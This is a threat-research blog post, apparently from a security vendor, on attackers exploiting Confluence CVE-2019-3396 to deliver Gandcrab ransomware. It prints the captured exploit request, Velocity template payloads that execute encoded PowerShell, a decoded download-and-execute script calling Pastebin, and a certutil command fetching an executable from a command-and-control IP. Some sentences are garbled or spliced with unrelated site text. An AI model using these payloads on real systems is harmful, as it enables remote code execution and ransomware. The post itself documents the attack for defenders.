


Active Exploitation of Confluence Vulnerability CVE-2019-3396 Dropping Gandcrab Ransomware

POSTED APR 23 2019

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Overview

Exploit code for a new vulnerability in Confluence (CVE-2019-3396) has been rapidly deployed by attackers and successfully used to breach hosts. We have observed attempts by these campaigns to execute Gandcrab ransomware on the victim hosts via PowerShell and usage of standard toolsets to avoid detection. Readers are encouraged to assess and patch their environments for this vulnerability as soon as possible.

Confluence Vector Exploited

On March 20, 2019 Atlassian [announced a set of critical vulnerabilities](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html) (<https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html>) had been recently patched in their Confluence Server and Data Center software. One of these vulnerabilities was in their widget connector and assigned [CVE-2019-3396](https://nvd.nist.gov/vuln/detail/CVE-2019-3396) (<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>), enabling an attacker to inject commands into ‘_template’ to achieve unauthenticated remote code execution. Unauthenticated remote code execution attacks are the golden goose for malicious actors as it allows them to rapidly gain complete control over the victim host. It also allows the most effective platform for persistence and future lateral movement.

Proof of concept code for the vulnerability was made [available in the public domain](https://paper.seebug.org/886/) (<https://paper.seebug.org/886/>) on the April 10 and by the next day we were observing the first weaponized attack attempts using this new vector. This emphasizes yet again the critical nature of patching as a core component of your security protection. Don’t wait until exploit code appears in the public domain, or you are reading this blog, to react. By then it might well be too late.

Within a week of the first exploit code appearing within our data lake we saw the first set of breached customers. The first of these customers was being directed  the malicious payloads to interact with an IP address which is well known and



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tracked within our dataset – [Primary & Secondary](#) being associated with previous

idespread successful exploits ([https://www.alertlogic.com/articles/primary-secondary-attack-overview-and-pricing/](#))

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The attackers in control of the [Partnerspace](#) seem to have rapidly and successfully added this new vector to the ([https://www.alertlogic.com/partners-overview/](#))

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The initial payload which executed on the victim connected to the attacker-controlled IP over FTP and fetched a file called win.vm.

```
POST/rest/tinymce/1/macro/preview HTTP/1.1
Host: x.x.x.x

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Content-Type: application/json; charset=utf-8

Referer: http://x.x.x.x:8080/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&

Content-Length: 240

{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"http://x.x.x.x/video/xcpa64","width":"300","height":"200","_template":{"ftp://185[.]234[.]218[.]248/win.vm","cmd":"wget http://185[.]234[.]218[.]248/bt1.txt%20|perl"}}}}
```

The win.vm file contained a PowerShell script which checked the architecture then fetched the appropriate script from Pastebin and invoked it in to memory.

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```
#set ($e="exp")
ALERT LOGIC
#set
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exe
c cmd.exe /c START %systemroot%\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w
hidden -e
SQBmACgAJABFAE4AVgA6FAAUgBPAEMABQBTAfMATwB8AF8AQBSAEMASABJAFQARQBDAFQA
VQBSAEUAIAtAGMABwBuAHQAYQBPAg4AcwAgAccAQQBNAEQANGA0ACcAKQB7ACAAUwB0AGEA
cgB0AC0AUABY
AG8AYwBIAHMAcWAgAC0ARgBpAGwAZB0AGEAdABoACAAlgAKAEUAbgB2ADoAVwBJAE4ARABJAFI
AXABTAHkAcwBXAE8AVwA2ADQAXAAG8AYwBIAHMAcWAgAC0ARgBpAGwAZB0AGEAdABoACAAlgAKAEUAbgB2ADoAVwBJAE4ARABJAFI
XAB2ADEAL
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gAwAFwAcABvAHcAZQBvAHMAaABIAgWABwAAUUAAPBIAAIAAATAGFAAgBPAHUAhQBIAg4AdAAg
ACIASQBFaFgAIAAoACgAbgBIAHcALQBvAGIAgBIAgMADAAGAG4AZQB0AC4AdwBIAgIAYwBsAGkAZ
QBUAh
QAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHA
AYQBzAHQAZQBIAgkAbgAuAGMABwBTAC8AcgBhAHcALwBWAeASAWAA5ADgAcwBLAGoAJwApACKA
OwBJAG4AdgBv
AGsAZQAtAEQAUGBZAFaARgBXAfOAWABKAE8ASQBJAEsASABKAfUASABNAEMATQBQAEkAWgBHAe
wAOwBTAHQAYQBvAHQALQBTAwGAZQBIAHAAIAAtAHMAIAAxAADAAMAawADAAMAawADsAlgB9A
GUAbABzAGUAew
AgAEkARQBvYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBIAgMABABp
AGUAbgB0ACKALgBKAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBUAgcAKAAnAGgAdAB0AHAAcwA6A
C8ALwBwAGEA
cwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAIYQB3AC8AVgBLAFgAOQA4AHMASwBqACcAKQApADsASQ
BuAHYAbwBrAGUALQBFAFIwQBQAEYAVVwBAAfGASgBPAEKASQBLAEgASgBVAEgATQBDAE0AUABJA
FoARwBMAD
sAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAALQBzACAAMQAwADAAMAawADAAMAa7ACAAfQA="
))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\n"))
#if($scan.hasNext())
    $scan.next()
#end
```

If we decode the PowerShell command in that payload, we get the following, which shows the callout to Pastebin:

```
If($ENV:PROCESSOR_ARCHITECTURE -contains 'AMD64'){ Start-Process -FilePath
"$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -argument "IEX ((new-object
net.webclient).downloadstring("https://pastebin.com/raw/VKX98sKj"));Invoke-
DRYPFWZXJOIHKJUHMCMPIZGL;Start-Sleep -s 1000000;}else{ IEX ((new-object
net.webclient).downloadstring("https://pastebin.com/raw/VKX98sKj"));Invoke-
DRYPFWZXJOIHKJUHMCMPIZGL;Start-Sleep -s 1000000; }
```

Gandcrab

The script hosted on Pastebin and the calling script decoded from win.vm will be familiar to anyone who had researched Gandcrab campaigns (<https://www.carbonblack.com/2019/01/24/carbon-black-tau-threatsight-analysis-gandcrab-and-ursnif-campaign/>), earlier in the year and is familiar with the Empire Project (<https://github.com/EmpireProject/PSInject/blob/master/Invoke-PSInject.ps1%20Invoke-PSInject.ps1%20script>). What has changed in this instance is that the delivery mechanism is not a malicious document, such as a

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```
#set ($e="exp")
#set
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null).exe
c cmd.exe /c certutil.exe -urlcache -split -f http://188[.]166[.]74[.]218/len.exe
%TEMP%/len.exe&cmd.exe /c %TEMP%/len.exe
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set ($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor().newInstance($input))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end
```

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The payload being delivered by sir.vm is len.exe which ends up being a packed sample of Gandcrab 5.2. Most likely this method of delivery is being used to avoid detection as this was transferred over the wire and not encoded in a script.

Summary

Previous RCE vulnerabilities leveraged by ransomware campaigns include SamSam (<https://blog.alertlogic.com/blog/samsam-ransomware/>), which exploited a Jboss vulnerability in 2016. From 2017 onwards as cryptominer popularity increased we have observed a drop in ransomware being delivered to vulnerable endpoints. This re-emergence of ransomware as the outcome of an unauthenticated remote code execution vulnerability may be an opportunist use of ransomware instead of cryptominers due to the nature of the vulnerability being used. Given that CVE-2019-3396 targets Confluence (which is a wiki platform) then the application in question will potentially hold valuable company information and may not be sufficiently backed up. The attackers may be making a judgement call that the likelihood of pay-out is a sufficiently higher return than could be expected mining cryptocurrency on the host.

Indicators of Compromise

Command and Control servers

- 185[.]234[.]218[.]248
- 188[.]166[.]74[.]218

Pastebin PowerShell script

- hxxps://pastebin[.]com/raw/VKX98sKj

Hashes

- 1064e288b3bdc80e8017e6538ffb36a9384afabe3aef8fc48b1bf7b8136754b5 -
gandcrab pastebin
- 18e67a910c6db2e05481c43c751ab07fab5d8fc36b3c747677d8619202a40ee1
- len.exe

About Alert Logic Threat Research



Alert Logic routinely tracks emerging vulnerabilities and active use of new

exploits in the wild. This allows us to keep alert logic updated with the latest threat intelligence and pricing/

and practices of attackers and provides a center for our customers for support

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Toll Free: +1.877.484.8383 | Corporate: +1.713.484.8383 | UK: +44 (0) 203 011 5533

Fax: +1.713.660.7988 | Email: info@alertlogic.com (mailto:info@alertlogic.com)

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